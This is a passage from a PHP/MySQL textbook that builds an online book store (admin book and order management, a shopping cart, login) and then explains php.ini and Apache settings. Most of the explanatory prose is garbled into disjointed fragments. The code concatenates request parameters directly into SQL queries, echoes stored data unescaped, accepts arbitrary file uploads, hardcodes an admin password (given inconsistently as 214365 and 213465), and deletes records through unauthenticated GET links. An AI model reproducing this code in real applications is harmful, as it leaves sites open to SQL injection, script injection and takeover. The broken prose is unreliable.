+----+-------+--------+---------+-------+-------------+---+---------------+++------+
| 1 | Book1 | | | | 2 | | |+| Tech |
| 2 | Book2 | | | | 5 | | |+| Web |
| 3 | Book3 | | | | 2 | | |+| Tech |
+----+-------+--------+---------+-------+-------------+---+---------------+++------+

Record <li> Element cover Column


<img> Element src cover File
Name title, author, summary,
price, name (Category Name) Element

Edit, Delete Link Browser


URL Bar http://localhost/store/admin/book-new.php
Form Form
Browser URL http://localhost/store/admin/book-list.php (-)

(-) Online Book Store - Book List

del, edit
Code book-del.php

Professional Web Developer - () PHP and MySQL 265

<?php
include("confs/config.php");

$id = $_GET['id'];
$sql = "DELETE FROM books WHERE id = $id";
mysqli_query($conn, $sql);
header("location: book-list.php");
?>

Request id
books Table Record DELETE Query
book-edit.php HTML <body>

Edit Form id Hidden Input

Form Category Select Box


Edit Record category_id Select Box
categories ID
selected Attribute

<img> Element Image

<?php
include("confs/config.php");

$id = $_GET['id'];
$result = mysqli_query($conn, "SELECT * FROM books WHERE id = $id");
$row = mysqli_fetch_assoc($result);
?>

<h1>Edit Book</h1>

<form action="book-update.php" method="post" enctype="multipart/form-data">


<input type="hidden" name="id" value="<?php echo $row['id'] ?>">

<label for="title">Book Title</label>


<input type="text" name="title" id="title"
value="<?php echo $row['title'] ?>">

<label for="author">Author</label>
<input type="text" name="author" id="author"
value="<?php echo $row['author'] ?>">

<label for="sum">Summary</label>
<textarea name="summary" id="sum"><?php echo $row['summary'] ?></textarea>

<label for="price">Price</label>
<input type="text" name="price" id="price"
value="<?php echo $row['price'] ?>">
Professional Web Developer - () PHP and MySQL 266

<label for="categories">Category</label>
<select name="category_id" id="categories">
<option value="0">-- Choose --</option>
<?php
$categories = mysqli_query($conn, "SELECT id, name FROM categories");
while($cat = mysqli_fetch_assoc($categories)):
?>
<option value="<?php echo $cat['id'] ?>"
<?php if($cat['id'] == $row['category_id']) echo "selected" ?> >
<?php echo $cat['name'] ?>
</option>
<?php endwhile; ?>
</select>

<br><br>
<img src="covers/<?php echo $row['cover'] ?>" alt="" height="150">
<label for="cover">Change Cover</label>
<input type="file" name="cover" id="cover">
<br><br>
<input type="submit" value="Update Book">
<a href="book-list.php">Back</a>
</form>

Form action book-update.php book-update.php

<?php
include("confs/config.php");

$id = $_POST['id'];
$title = $_POST['title'];
$author = $_POST['author'];
$summary = $_POST['summary'];
$price = $_POST['price'];
$category_id = $_POST['category_id'];

$cover = $_FILES['cover']['name'];
$tmp = $_FILES['cover']['tmp_name'];

if($cover) {
move_uploaded_file($tmp, "covers/$cover");
$sql = "UPDATE books SET title='$title', author='$author',
summary='$summary', price='$price', category_id='$category_id',
cover='$cover', modified_date=now() WHERE id = $id";
} else {
$sql = "UPDATE books SET title='$title', author='$author',
summary='$summary', price='$price', category_id='$category_id',
modified_date=now() WHERE id = $id";
}

mysqli_query($conn, $sql);
header("location: book-list.php");
?>
Professional Web Developer - () PHP and MySQL 267

Edit Form UPDATE Query


Request File File Upload
File
cover Column Update Update cover Column

books Table CRUD



CSS Style File

store/
|-- admin/
| |-- confs/
| | |-- config.php
| | |-- auth.php *
| |-- covers/
| |-- css/ *
| | |-- style.css *
| |-- cat-list.php
| |-- cat-new.php
| |-- cat-add.php
| |-- cat-edit.php
| |-- cat-update.php
| |-- cat-del.php
| |-- index.php
| |-- book-list.php
| |-- book-new.php
| |-- book-add.php
| |-- book-edit.php
| |-- book-update.php
| |-- book-del.php
| |-- login.php *
| |-- logout.php *
| |-- orders.php *
| |-- order-status.php *
|-- index.php

confs Folder auth.php File


css Folder
style.css File css Folder
login.php, logout.php, orders.php order-status.php
File Folder style.css CSS Style

Professional Web Developer - () PHP and MySQL 268

html {
background: #95A5A6;
}

body {
font-family: Arial, Helvetica, sans-serif;
width: 900px;
background: #fff;
border: 4px solid #2C3E50;
margin: 20px auto;
}

h1 {
padding: 10px;
font-size: 21px;
background: #2C3E50;
margin: 0;
color: #fff;
}

ul.list {
list-style: none;
margin: 20px;
padding: 0;
}

ul.list li {
overflow: hidden;
border-bottom: 1px solid #ddd;
padding-bottom: 10px;
margin-bottom: 20px;
}

ul.list b {
display: block;
font-size: 18px;
margin-bottom: 5px;
color: #2980B9;
}

ul.list i, ul.list small {


color: #888;
font-size: 12px;
margin-right: 10px;
}

ul.list span {
color: #8E44AD;
}

ul.list div {
margin: 5px 0;
font-size: 13px;
line-height: 1.5em;
color: #555;
}
Professional Web Developer - () PHP and MySQL 269

ul.list img {
margin-left: 20px;
}
ul.list a {
color: #2980B9;
}

ul.list a.del {
color: #D35400;
}

a.new {
display: block;
padding: 8px 0;
text-align: center;
width: 160px;
margin: 10px;
color: #fff;
background: #1ABC9C;
border: 1px solid #ccc;
text-decoration: none;
}

form {
margin: 20px;
}

form label {
display: block;
margin-top: 10px;
color: #555;
}

input[type=text],
input[type=password],
textarea,
select {
font-family: Arial, Helvetica, sans-serif;
border: 1px solid #ddd;
padding: 6px;
width: 300px;
background: #fff;
}

textarea {
height: 100px;
}

input[type=submit] {
padding: 10px 24px;
margin-right: 10px;
}
Professional Web Developer - () PHP and MySQL 270

book-list.php, book-new.php, book-edit.php, cat-list.php, cat-new.php,


cat-edit.php <head> <link> Element
CSS File
CSS <link> Element

<link rel="stylesheet" href="css/style.css">

CSS Style Interface (-


)

(-) Book List with CSS Style

book-list.php, book-new.php, book-edit.php, cat-list.php, cat-new.


php, cat-edit.php Menu URL
Menu Menu
HTML
Professional Web Developer - () PHP and MySQL 271

<ul class="menu">
<li><a href="book-list.php">Manage Books</a></li>
<li><a href="cat-list.php">Manage Categories</a></li>
<li><a href="orders.php">Manage Orders</a></li>
<li><a href="logout.php">Logout</a></li>
</ul>

Script HTML Structure <h1> Element


style.css Menu CSS

ul.menu {
list-style: none;
margin: 0;
padding: 0;
overflow: hidden;
background: #16A085;
}

ul.menu li {
float: left;
border-right: 1px solid #1ABC9C;
}

ul.menu a {
display: block;
padding: 10px 20px;
text-decoration: none;
color: #fff;
}

ul.menu a:hover {
background: #1ABC9C;
}

Script book-list.php, cat-list.php, orders.php


logout.php Menu

Online Book Store


Shopping Cart Interface Admin Interface
Password
confs Folder auth.php Code
Professional Web Developer - () PHP and MySQL 272

<?php
session_start();
if(!isset($_SESSION['auth'])) {
header("location: index.php");
exit();
}
?>

User Login
Login auth Session

index.php Redirect
auth.php book-list.php, cat-list.php, book-new.php, cat-new.php
admin Folder Script Include

<?php include("confs/auth.php") ?>

Session Content Include



Login index.php
Redirect index.php Login Form

HTML <body>
Login Form

<h1>Login to Book Store Administration</h1>


<form action="login.php" method="post">
<label for="name">Name</label>
<input type="text" id="name" name="name">

<label for="password">Password</label>
<input type="password" id="password" name="password">

<br><br>
<input type="submit" value="Admin Login">
</form>

Login Form css Folder


style.css <link> Element admin Folder
Script index.php Login Form Login
Form action login.php login.php Username
Password
Professional Web Developer - () PHP and MySQL 273

<?php
session_start();
$name = $_POST['name'];
$password = $_POST['password'];

if($name == "admin" and $password == "214365") {


$_SESSION['auth'] = true;
header("location: book-list.php");
} else {
header("location: index.php");
}
?>

Username admin Password 214365 Information


Admin Interface auth Session
http://localhost/store/admin/ Browser URL Bar Login
Form Username admin Password 213465
Login Login book-list.php Redirect
Logout logout.php

<?php
session_start();
unset($_SESSION['auth']);
header("location: index.php");
?>


Admin Interface Order
Order Shopping Cart Interface

Professional Web Developer - () PHP and MySQL 274

7.6 - Online Book Store - Shopping Cart Interface


Shopping Cart Interface File Folder

store/
|-- admin/
| |-- confs/
| | |-- config.php
| | |-- auth.php
| |-- covers/
| |-- css/
| | |-- style.css
| |-- cat-list.php
| |-- cat-new.php
| |-- cat-add.php
| |-- cat-edit.php
| |-- cat-update.php
| |-- cat-del.php
| |-- index.php
| |-- book-list.php
| |-- book-new.php
| |-- book-add.php
| |-- book-edit.php
| |-- book-update.php
| |-- book-del.php
| |-- login.php
| |-- login.php
| |-- orders.php
| |-- order-status.php
|-- css/ *
| |-- style.css *
|-- book-detail.php *
|-- add-to-cart.php *
|-- view-cart.php *
|-- clear-cart.php *
|-- submit-order.php *
|-- index.php

File Folder store Folder Style Admin


Interface css Folder
css
Folder style.css File store Folder Shopping
Cart File

index.php
index.php Project
index.php store Folder Code
HTML Structure
Professional Web Developer - () PHP and MySQL 275

<?php
session_start();
include("admin/confs/config.php");

$cart = 0;
if(isset($_SESSION['cart'])) {
foreach($_SESSION['cart'] as $qty) {
$cart += $qty;
}
}

if(isset($_GET['cat'])) {
$cat_id = $_GET['cat'];
$books = mysqli_query($conn, "SELECT * FROM books WHERE category_id =
$cat_id");
} else {
$books = mysqli_query($conn, "SELECT * FROM books");
}

$cats = mysqli_query($conn, "SELECT * FROM categories");


?>

<!doctype html>
<html>
<head>
<title>Book Store</title>
<link rel="stylesheet" href="css/style.css">
</head>
<body>
<h1>Book Store</h1>

<div class="info">
<a href="view-cart.php">
(<?php echo $cart ?>) books in your cart
</a>
</div>

<div class="sidebar">
<ul class="cats">
<li>
<b><a href="index.php">All Categories</a></b>
</li>
<?php while($row = mysqli_fetch_assoc($cats)): ?>
<li>
<a href="index.php?cat=<?php echo $row['id'] ?>">
<?php echo $row['name'] ?>
</a>
</li>
<?php endwhile; ?>
</ul>
</div>
Professional Web Developer - () PHP and MySQL 276

<div class="main">
<ul class="books">
<?php while($row = mysqli_fetch_assoc($books)): ?>
<li>
<img src="admin/covers/<?php echo $row['cover'] ?>" height="150">
<b>
<a href="book-detail.php?id=<?php echo $row['id'] ?>">
<?php echo $row['title'] ?>
</a>
</b>

<i>$<?php echo $row['price'] ?></i>

<a href="add-to-cart.php?id=<?php echo $row['id'] ?>"


class="add-to-cart">Add to Cart</a>
</li>
<?php endwhile; ?>
</ul>
</div>

<div class="footer">
&copy; <?php echo date("Y") ?>. All right reserved.
</div>
</body>
</html>

Supermarket
()

Book Store Order
Shopping Cart
Session
session_start() Function Database
config.php Include

cart Session foreach Loop


Loop $cart Variable

index.php Category
- URL Query String cat=1 Category
ID 1
index.php Request cat Query String
SELECT Query Query String cat
Value Query

Professional Web Developer - () PHP and MySQL 277

Category Menu categories Table


SELECT Query

<body> Element Class info


<div>
$cart Variable Class sidebar <div>
Category Link Link index.php (
Document) Category ID URL
Query String Category Menu

Class main
<div>
Title Title
Link <a> Element
Add to Cart Link
Add to Cart
Add to Cart Link add-to-cart.php add-
to-cart.php cart Session

Code CSS Style


Code <link> Element css Folder style.css
style.css CSS
index.php Style

html {
background: #34495E;
}

body {
font-family: Arial, Helvetica, sans-serif;
width: 900px;
background: #e5e5e5;
border: 4px solid #3498DB;
margin: 20px auto;
}

h1 {
padding: 10px;
font-size: 21px;
background: #3498DB;
margin: 0;
color: #fff;
}
Professional Web Developer - () PHP and MySQL 278

a {
color: #2980B9;
text-decoration: none;
}

a:hover {
color: #3498DB;
}

.info {
background: #2980B9;
padding: 8px;
text-align: right;
}

.info a {
color: #fff;
font-size: 14px;
text-decoration: none;
border-bottom: 1px dotted #fff;
}

.info a:hover {
border-bottom: 1px solid #fff;
}

.sidebar {
float: left;
width: 240px;
}

.cats {
list-style: none;
padding: 0;
}

.cats li a {
display: block;
font-size: 15px;
padding: 8px 15px;
border-bottom: 1px solid #ddd;
}

.cats li a:hover {
background: #efefef;
}

.main {
float: right;
width: 660px;
background: #fff;
}
Professional Web Developer - () PHP and MySQL 279

.books {
list-style: none;
margin: 15px;
padding: 0;
overflow: hidden;
}

.books li {
width: 190px;
text-align: center;
height: 240px;
float: left;
margin: 20px 10px;
font-size: 15px;
}

.books b {
display: block;
margin: 5px 0;
font-weight: normal;
}

.books i {
color: #E74C3C;
}

a.add-to-cart {
font-size: 13px;
display: block;
background: #1ABC9C;
color: #fff;
padding: 5px 0;
margin: 5px 30px;
}

a.del {
color: #D35400;
}

.footer {
clear: both;
background: #95A5A6;
color: #fff;
font-size: 13px;
padding: 8px;
text-align: center;
border-top: 1px solid #7F8C8D;
}

.detail {
padding: 20px;
background: #fff;
}
Professional Web Developer - () PHP and MySQL 280

.detail .back {
float: right;
}

.detail a.add-to-cart {
margin: 0;
width: 160px;
text-align: center;
padding: 10px 0;
}

table {
margin: 20px;
border-spacing: 1px;
background: #16A085;
}

td {
background: white;
border-collapse: collapse;
padding: 8px;
}

th {
color: white;
padding: 8px;
}

.order-form {
margin: 20px;
}

.order-form h2 {
margin: 40px 0 10px 0;
padding: 0 0 5px 0;
border-bottom: 1px solid #ddd;
font-size: 18px;
color: #C0392B;
}

form label {
display: block;
margin-top: 10px;
color: #555;
}

input[type=text],
input[type=password],
textarea,
select {
font-family: Arial, Helvetica, sans-serif;
border: 1px solid #ddd;
padding: 6px;
width: 300px;
background: #fff;
}
Professional Web Developer - () PHP and MySQL 281

textarea {
height: 100px;
}

input[type=submit] {
padding: 10px 24px;
margin-right: 10px;
}

.msg {
background: #1ABC9C;
color: #fff;
text-align: center;
padding: 10px;
margin: 50px 20px;
}

.msg a {
color: #eee;
border-bottom: 1px dotted #fff;
}

label.error {
color: #900;
font-size: 13px;
font-style: italic;
margin-top: -1px;
}

.search {
margin-top: 20px;
}

.search input[type=text] {
width: 180px;
margin-left: 8px;
}

.search input[type=submit] {
width: 32px;
height: 32px;
cursor: pointer;
background: transparent url(../images/search.png) no-repeat center center;
border: 0 none;
padding: 0;
margin: 0 0 0 -5px;
}

Browser URL Bar http://localhost/store/ (-)



Professional Web Developer - () PHP and MySQL 282

(-) Online Book Store - Shopping Cart Interface

Category Menu Category Category


book-detail.php
HTML <body>
Code

<h1>Book Detail</h1>

<?php
include("admin/confs/config.php");
$id = $_GET['id'];
$books = mysqli_query($conn, "SELECT * FROM books WHERE id = $id");
$row = mysqli_fetch_assoc($books);
?>

<div class="detail">
<a href="index.php" class="back">&laquo; Go Back</a>

<img src="admin/covers/<?php echo $row['cover'] ?>">

<h2><?php echo $row['title'] ?></h2>


<i>by <?php echo $row['author'] ?></i>,
<b>$<?php echo $row['price'] ?></b>

<p><?php echo $row['summary'] ?></p>


Professional Web Developer - () PHP and MySQL 283

<a href="add-to-cart.php?id=<?php echo $id ?>" class="add-to-cart">


Add to Cart
</a>
</div>
<div class="footer">
&copy; <?php echo date("Y") ?>. All right reserved.
</div>

Query String id
Add to Cart Link <link> Element
style.css cart Session
add-to-cart.php Code

<?php
session_start();
$id = $_GET['id'];
$_SESSION['cart'][$id]++;

header("location: index.php");
?>

URL Query String id cart Session


Array - Book ID
12

$_SESSION['cart'][$id]++;

$_SESSION['cart'][12]++;

cart Session Index 12 ()


Index 12 () Index 12 PHP Index 12
() Book ID 12
$_SESSION['cart'][12] 2
cart Session

index.php http://localhost/store/
Class info <div>

Professional Web Developer - () PHP and MySQL 284

Link view-cart.php
view-cart.php
Code HTML

<?php
session_start();
if(!isset($_SESSION['cart'])) {
header("location: index.php");
exit();
}

include("admin/confs/config.php");
?>

<!doctype html>
<html>
<head>
<title>View Cart</title>
<link rel="stylesheet" href="css/style.css">
</head>
<body>
<h1>View Cart</h1>
<div class="sidebar">
<ul class="cats">
<li><a href="index.php">&laquo; Continue Shopping</a></li>
<li><a href="clear-cart.php" class="del">&times; Clear Cart</a></li>
</ul>
</div>

<div class="main">
<table>
<tr>
<th>Book Title</th>
<th>Quantity</th>
<th>Unit Price</th>
<th>Price</th>
</tr>

<?php
$total = 0;
foreach($_SESSION['cart'] as $id => $qty):
$result = mysqli_query($conn, "SELECT title, price FROM books WHERE id=$id");
$row = mysqli_fetch_assoc($result);
$total += $row['price'] * $qty;
?>
<tr>
<td><?php echo $row['title'] ?></td>
<td><?php echo $qty ?></td>
<td>$<?php echo $row['price'] ?></td>
<td>$<?php echo $row['price'] * $qty ?></td>
</tr>
<?php endforeach; ?>
Professional Web Developer - () PHP and MySQL 285

<tr>
<td colspan="3" align="right"><b>Total:</b></td>
<td>$<?php echo $total; ?></td>
</tr>
</table>

<div class="order-form">
<h2>Order Now</h2>
<form action="submit-order.php" method="post">
<label for="name">Your Name</label>
<input type="text" name="name" id="name">

<label for="email">Email</label>
<input type="text" name="email" id="email">

<label for="phone">Phone</label>
<input type="text" name="phone" id="phone">

<label for="address">Address</label>
<textarea name="address" id="address"></textarea>

<br><br>
<input type="submit" value="Submit Order">
<a href="index.php">Continue Shopping</a>
</form>
</div>
</div>

<div class="footer">
&copy; <?php echo date("Y") ?>. All right reserved.
</div>
</body>
</html>

cart Session index.php


<body> Class sidebar
<div>
index.php Continue Shopping Link
Clear Cart Link

Class main <div> cart Session


<table> cart Session
ID Title ID

<table> Order Form


name, email, phone address

(-)
Professional Web Developer - () PHP and MySQL 286

(-) Online Book Store - View Cart

Order Form action submit-order.php submit-order.php


Code clear-cart.php Code

<?php
session_start();
unset($_SESSION['cart']);
header("location: index.php");
?>

cart Session submit-


order.php Code
Professional Web Developer - () PHP and MySQL 287

<?php
session_start();
include("admin/confs/config.php");

$name = $_POST['name'];
$email = $_POST['email'];
$phone = $_POST['phone'];
$address = $_POST['address'];

mysqli_query($conn, "INSERT INTO orders


(name, email, phone, address, status, created_date, modified_date)
VALUES ('$name','$email','$phone','$address', 0, now(), now()) ");

$order_id = mysqli_insert_id($conn);
foreach($_SESSION['cart'] as $id => $qty) {
mysqli_query($conn, "INSERT INTO order_items
(order_id, book_id, qty) VALUES ($order_id,$id,$qty)
");
}

unset($_SESSION['cart']);
?>

<!doctype html>
<html>
<head>
<title>Order Submitted</title>
<link rel="stylesheet" href="css/style.css">
</head>

<body>
<h1>Order Submitted</h1>

<div class="msg">
Your order has been submitted. We'll deliver the items soon.
<a href="index.php" class="done">Book Store Home</a>
</div>

<div class="footer">
&copy; <?php echo date("Y") ?>. All right reserved.
</div>
</body>
</html>

Order Form orders Table INSERT Query


mysql_insert_id() Function
Record Auto Increment ID
$order_id Order ID

cart Session Loop order_items Table


ID
Professional Web Developer - () PHP and MySQL 288

Session Order ID $order_id Variable


Table Order Submit
Message

Shopping Cart
Order

7.7 - Online Book Store - Order Management



Admin Interface Order
admin Folder orders.php
Code

<?php include("confs/auth.php") ?>

<!doctype html>
<html>
<head>
<title>Order List</title>
<link rel="stylesheet" href="css/style.css">
</head>
<body>

<h1>Order List</h1>
<ul class="menu">
<li><a href="book-list.php">Manage Books</a></li>
<li><a href="cat-list.php">Manage Categories</a></li>
<li><a href="orders.php">Manage Orders</a></li>
<li><a href="logout.php">Logout</a></li>
</ul>

<?php
include("confs/config.php");
$orders = mysqli_query($conn, "SELECT * FROM orders");
?>

<ul class="orders">
<?php while($order = mysqli_fetch_assoc($orders)): ?>
<?php if($order['status']): ?>
<li class="delivered">
<?php else: ?>
<li>
<?php endif; ?>

<div class="order">
<b><?php echo $order['name'] ?></b>
<i><?php echo $order['email'] ?></i>
<span><?php echo $order['phone'] ?></span>
<p><?php echo $order['address'] ?></p>
Professional Web Developer - () PHP and MySQL 289

<?php if($order['status']): ?>


* <a href="order-status.php?id=<?php echo $order['id'] ?>&status=0">
Undo</a>
<?php else: ?>
* <a href="order-status.php?id=<?php echo $order['id'] ?>&status=1">
Mark as Delivered</a>
<?php endif; ?>
</div>
<div class="items">
<?php
$order_id = $order['id'];
$items = mysqli_query($conn, "SELECT order_items.*, books.title
FROM order_items LEFT JOIN books ON order_items.book_id = books.id
WHERE order_items.order_id = $order_id
");

while($item = mysqli_fetch_assoc($items)):
?>

<b>
<a href="../book-detail.php?id=<?php echo $item['book_id'] ?>">
<?php echo $item['title'] ?>
</a>
(<?php echo $item['qty'] ?>)
</b>

<?php endwhile; ?>

</div>
</li>

<?php endwhile; ?>

</ul>
</body>
</html>

auth.php Include
orders Table SELECT Query
Order SELECT Query
order_items Table order_items Table Book ID
books Table JOIN

Order orders Table status Column


status 0 Order 1
Order Order <li> Element
status
delivered Class

Professional Web Developer - () PHP and MySQL 290

<?php if($order['status']): ?>


<li class="delivered">
<?php else: ?>
<li>
<?php endif; ?>

Class Order Order


CSS Mark as
Delivered Link Order

<?php if($order['status']): ?>


* <a href="order-status.php?id=<?php echo $order['id'] ?>&status=0">
Undo
</a>
<?php else: ?>
* <a href="order-status.php?id=<?php echo $order['id'] ?>&status=1">
Mark as Delivered
</a>
<?php endif; ?>

Order Mark as Delivered Link


Order Undo Link Link
order-status.php URL Query String
Mark as Delivered Link status=0 Undo Link
status=1 order-status.php
Code

<?php
include("confs/config.php");
$id = $_GET['id'];
$status = $_GET['status'];

mysqli_query($conn, "UPDATE orders SET


status=$status, modified_date=now() WHERE id=$id
");

header("location: orders.php");
?>

URL Query String Order ID Status orders Table status Column


Update Admin Login Order
(-)
Professional Web Developer - () PHP and MySQL 291

(-) Online Book Store - Managing Orders

Online Book Store


Project
Form
Validate Cover Image Default Image
Screen
Paging
Search Publisher
Publish ISBN No.
Star Rating Review

Online Book Store Source Code http://eimaung.com/pwd-rc/ Download


Conclusion
PHP MySQL Database



() Web
App Security MVC
() Model-View-Collection

(,)

() ()
Professional Web Developer - () PHP and Apache Settings 293

() PHP and Apache Settings


URL Rewrite Setting

Web App Project Development Production


Setting Release
Server
Setting -
Warning Error

Warning Error

Development Setting Production Server


XAMPP Development Setting



Development
XAMPP Production Server
Production Design Default Setting
Production Production
Apache, PHP, MySQL Install Setting Configuration

XAMPP Install Setting


Configuration XAMPP Apaceh, PHP MySQL
Install Setting File Location
Setting

Professional Web Developer - () PHP and Apache Settings 294

8.1 - PHP Configuration File


PHP Setting php.ini Configuration File
XAMPP Windows php.ini C:\xampp\php\php.ini
XAMPP Linux /opt/lampp/etc/php.ini php.ini Code
Editor

[PHP]

;;;;;;;;;;;;;;;;;;;
; About php.ini ;
;;;;;;;;;;;;;;;;;;;
; PHP's initialization file, generally called php.ini, is responsible for
; configuring many of the aspects of PHP's behavior.

; Enable the PHP scripting language engine under Apache.


; http://php.net/engine
engine = On

; Default Value: On
; Development Value: Off
; Production Value: Off
; http://php.net/short-open-tag
short_open_tag = Off

; Allow ASP-style <% %> tags.


; http://php.net/asp-tags
asp_tags = Off

Semi-colon
Setting
Setting
Semi-colon Setting

Setting

PHP Short Open Tags

short_open_tag = On

short_open_tag Setting Setting On


Off
Short Open Tag PHP Code
<?php ?> <?php
<? <?= short_open_tag Setting On
Professional Web Developer - () PHP and Apache Settings 295

short_open_tag Off
<? <?php

<?= Output Tag <?= <?php echo
<?= PHP Code

Output

Short Open Tag HTML PHP Short


Open Tag Code
Category List

<ul>
<?php while($row = mysqli_fetch_assoc($result)): ?>
<li title="<?php echo $row['remark'] ?>">
[ <a href="cat-del.php?id=<?php echo $row['id'] ?>" class="del">del</a> ]
[ <a href="cat-edit.php?id=<?php echo $row['id'] ?>">edit</a> ]
<?php echo $row['name'] ?>
</li>
<?php endwhile; ?>
</ul>

Code Short Open Tag

<ul>
<? while($row = mysqli_fetch_assoc($result)): ?>
<li title="<?= $row['remark'] ?>">
[ <a href="cat-del.php?id=<?= $row['id'] ?>" class="del">del</a> ]
[ <a href="cat-edit.php?id=<?= $row['id'] ?>">edit</a> ]
<?= $row['name'] ?>
</li>
<? endwhile; ?>
</ul>

Output echo Keyword <?= Tag


Code
PHP Code HTML Structure
Short Open Tag
Professional Web Developer - () PHP and Apache Settings 296

Disable Functions

disable_functions = exec,shell_exec,unlink,phpinfo

Setting
disable_functions Setting PHP
Function disable_functions
PHP Function
Code
Setting
App Server File System
PHP Function Setting

App PHP Script
Server Run Function Server File
System Setting
Setting

Expose PHP Version (or Not)

expose_php = Off

expose_php Setting On Off On Web


Server Respond Response Header PHP Version
Off Off
Web App
Web App
Expose PHP

PHP Version

Resource Usages

max_execution_time = 30

PHP Script max_execution_time Setting


Script

Instruction CPU Script
Code

Professional Web Developer - () PHP and Apache Settings 297

memory_limit = 128M

PHP Script Memory memory_limit Setting


Megabyte M Unite Gigabyte G Unit
Script Memory Server Performance
Setting

Error Reporting

error_reporting = E_ALL & ~E_DEPRECATED

PHP Code Error Message


error_reporting Setting

Pre-Defined Constant
Constant E_ALL, E_ERROR, E_WARNING, E_PARSE, E_NOTICE
E_DEPRECATED

E_ALL Error error_reporting = E_ALL


Message E_ERROR Fatal Error Script
Error E_WARNING
Fatal Error E_PARSE
Script Error E_NOTICE

- Array Index Notice
E_DEPRECATED PHP Version

error_reporting = E_ERROR & E_WARNING


Fatal Error Warning
Message Message Development
E_ALL & ~E_DEPRECATED Deprecated
Error ~ Sign Not
error_reporting = 0 Error Message

Error Script
Error display_errors Setting

Professional Web Developer - () PHP and Apache Settings 298

display_errors = On

display_errors Setting On Off On Error


Message error_reporting Off Error
Message Log
Development On Production Off Off Error
Log

Register Global

register_globals = Off

PHP Request $_GET, $_POST, $_REQUEST, $_COOKIE


Superglobal Register Global
Setting On Request Superglobal
Variable PHP
-

if ($_SESSION['auth']) {
$auth = true;
}

if($auth) {
// Do Important Things
}

auth Session $auth Variable true


$auth Variable

register_globals On Request ?auth=true Query String
PHP $_GET Superglobal auth Index
$auth = true Variable
auth Session $auth Variable true

register_ globals Setting Off PHP 7 Setting


Professional Web Developer - () PHP and Apache Settings 299

Request Size and File Upload Limit

post_max_size = 8M

POST Request Data post_max_size


Request Data Request File
Megabyte M Unite Gigabyte
G Unit

file_uploads = On

File Upload file_uploads Setting On


Off File Upload

upload_max_filesize = 2M

File Upload Upload File


upload_ max_filesize Setting Megabyte
M Unite Gigabyte G Unit Server Capacity

Allow URL as File (or Not)

allow_url_fopen = Off

PHP file_get_content() Function File Server


File URL Server Resource File
allow_url_fopen Setting
Off

allow_url_include = Off

File Include Server File URL


Server Resource Include allow_url_include Setting

Off
Professional Web Developer - () PHP and Apache Settings 300

Timezone

date.timezone = Asia/Rangoon

Date/Time Default Timezone


date.timezone Setting Timezone
Timezone
http://www.php.net/manual/en/timezones.php Standard
Time
Asia/Rangoon

Setting Setting

http://www.php.net/manual/en/ini.list.php

8.2 - Setting Configuration on Run-Time


Setting php.ini PHP Code
Function ini_get(), ini_set()
ini_restore()

Upload File Size ini_get("upload_max_filesize")


ini_get() Function Setting
Function

Error Report Setting ini_set("error_reporting", "E_ALL")


ini_set() Function Setting Run Time

Setting Run Time ini_set() Function

http://www.php.net/manual/en/ini.list.php Setting php.ini
Only Setting ini_set() Setting
ini_set() Function Setting
ini_restore() Function
Professional Web Developer - () PHP and Apache Settings 301

8.3 - Apache Setting


Apache Web Server Setting XAMPP Windows
Apache Setting File Location C:\xampp\apach\
conf\httpd.conf Linux /opt/lampp/etc/httpd.conf

httpd.conf Code Editor

# This is the main Apache HTTP server configuration file. It contains the
# configuration directives that give the server its instructions.
...
# ServerRoot: The top of the directory tree under which the server's
# configuration, error, and log files are kept.
#
# Do not add a slash at the end of the directory path. #
ServerRoot "/opt/lampp"
...
# Listen: Allows you to bind Apache to specific IP addresses and/or
# ports, instead of the default. See also the <VirtualHost>
# directive.
#Listen 12.34.56.78:80
Listen 80
...
# Example:
# LoadModule foo_module modules/mod_foo.so
LoadModule authn_file_module modules/mod_authn_file.so
LoadModule authn_dbm_module modules/mod_authn_dbm.so
...

# Sign php.ini Semicolon


httpd.conf # Sing Setting

Port Setting

Listen 80

Setting Listen Listen Setting Apache Web


Server Port No. Web Server Default
Port 80 httpd.conf 80
php.ini
Setting Equal Sign

80 Listen 90
Web Server Request http://localhost:90/ Host Name
Port Request
Professional Web Developer - () PHP and Apache Settings 302

Web Server Listen Port


Web Server Default Port 80 Web Server
Port Server Listen Port
90, 8080, 8888 80

Service
Firewall Firewall Port

php.ini httpd.conf Setting



Web Server Restart Configuration Server
Effect Server Restart

Apache Module XAMPP


Module Module httpd.conf
LoadModule Setting XAMPP Module httpd.conf
# Sign
Module

Compression Module

LoadModule deflate_module modules/mod_deflate.so

Apache Web Server Document Respond Document Size


Compress Respond mod_deflate Module
mod_gzip Module mod_deflate
Gzip Deflate Compress Algorithm Text Content %
Compress HTML, CSS, JavaScript Document
Text Document

mod_deflate Module # Sign


Compress Content httpd.conf

Professional Web Developer - () PHP and Apache Settings 303

<IfModule mod_deflate.c>
AddOutputFilterByType DEFLATE text/plain
AddOutputFilterByType DEFLATE text/html
AddOutputFilterByType DEFLATE text/xml
AddOutputFilterByType DEFLATE text/css
AddOutputFilterByType DEFLATE App/xml
AddOutputFilterByType DEFLATE App/xhtml+xml
AddOutputFilterByType DEFLATE App/rss+xml
AddOutputFilterByType DEFLATE App/javascript
AddOutputFilterByType DEFLATE App/x-javascript
AddOutputFilterByType DEFLATE image/x-icon
</IfModule>

Apache HTML, CSS, JavaScript, XML Icon


Compress Respond Response Header Deflate Algorithm
Compress Respond
Browser Compress Uncompress
Client Server Module

<IfModule mod_deflate.c> ... </IfModule> mod_deflate Module


mode_deflate Module
DEFLATE Setting Configuration Error Module
DEFLATE Setting

<IfModule mod_deflate.c>
AddOutputFilterByType DEFLATE text/plain text/html text/css
</IfModule>

Compress Content Type


PHP Output Compress
ob_gzhandler() Function PHP Apache Setting

Professional Web Developer - () PHP and Apache Settings 304

Cache Module

LoadModule expires_module modules/mod_expires.so

mod_expires Module Cache Control Browser Respond


Cache Cache Content
Cache Setting
Module
Module # Sing Cache Expires Setting

<IfModule mod_expires.c>
ExpiresActive on
ExpiresDefault "access plus 1 month"
ExpiresByType text/html "access plus 0 seconds"
ExpiresByType image/x-icon "access plus 1 week"
ExpiresByType image/png "access plus 1 month"
ExpiresByType image/jpg "access plus 1 month"
</IfModule>

ExpiresActive on Setting Content


Type Expire Time HTML 0 seconds
Cache Icon () Cache
PNG JPG Image () Cache Content
Cache

Proxy Module

LoadModule proxy_module modules/mod_proxy.so

mod_proxy Module Apache Proxy Server Web App


App Server Proxy Server
App Server Request Proxy Server
Proxy Server
Security Cache Control Load
Balance

Proxy Reverse Proxy Forward Proxy mod_proxy Apache Reverse


Proxy Forward Proxy Setting Reverse Proxy
Web Server
Client Request Server
Professional Web Developer - () PHP and Apache Settings 305

Respond Request Server Request


Server Respond Client Respond
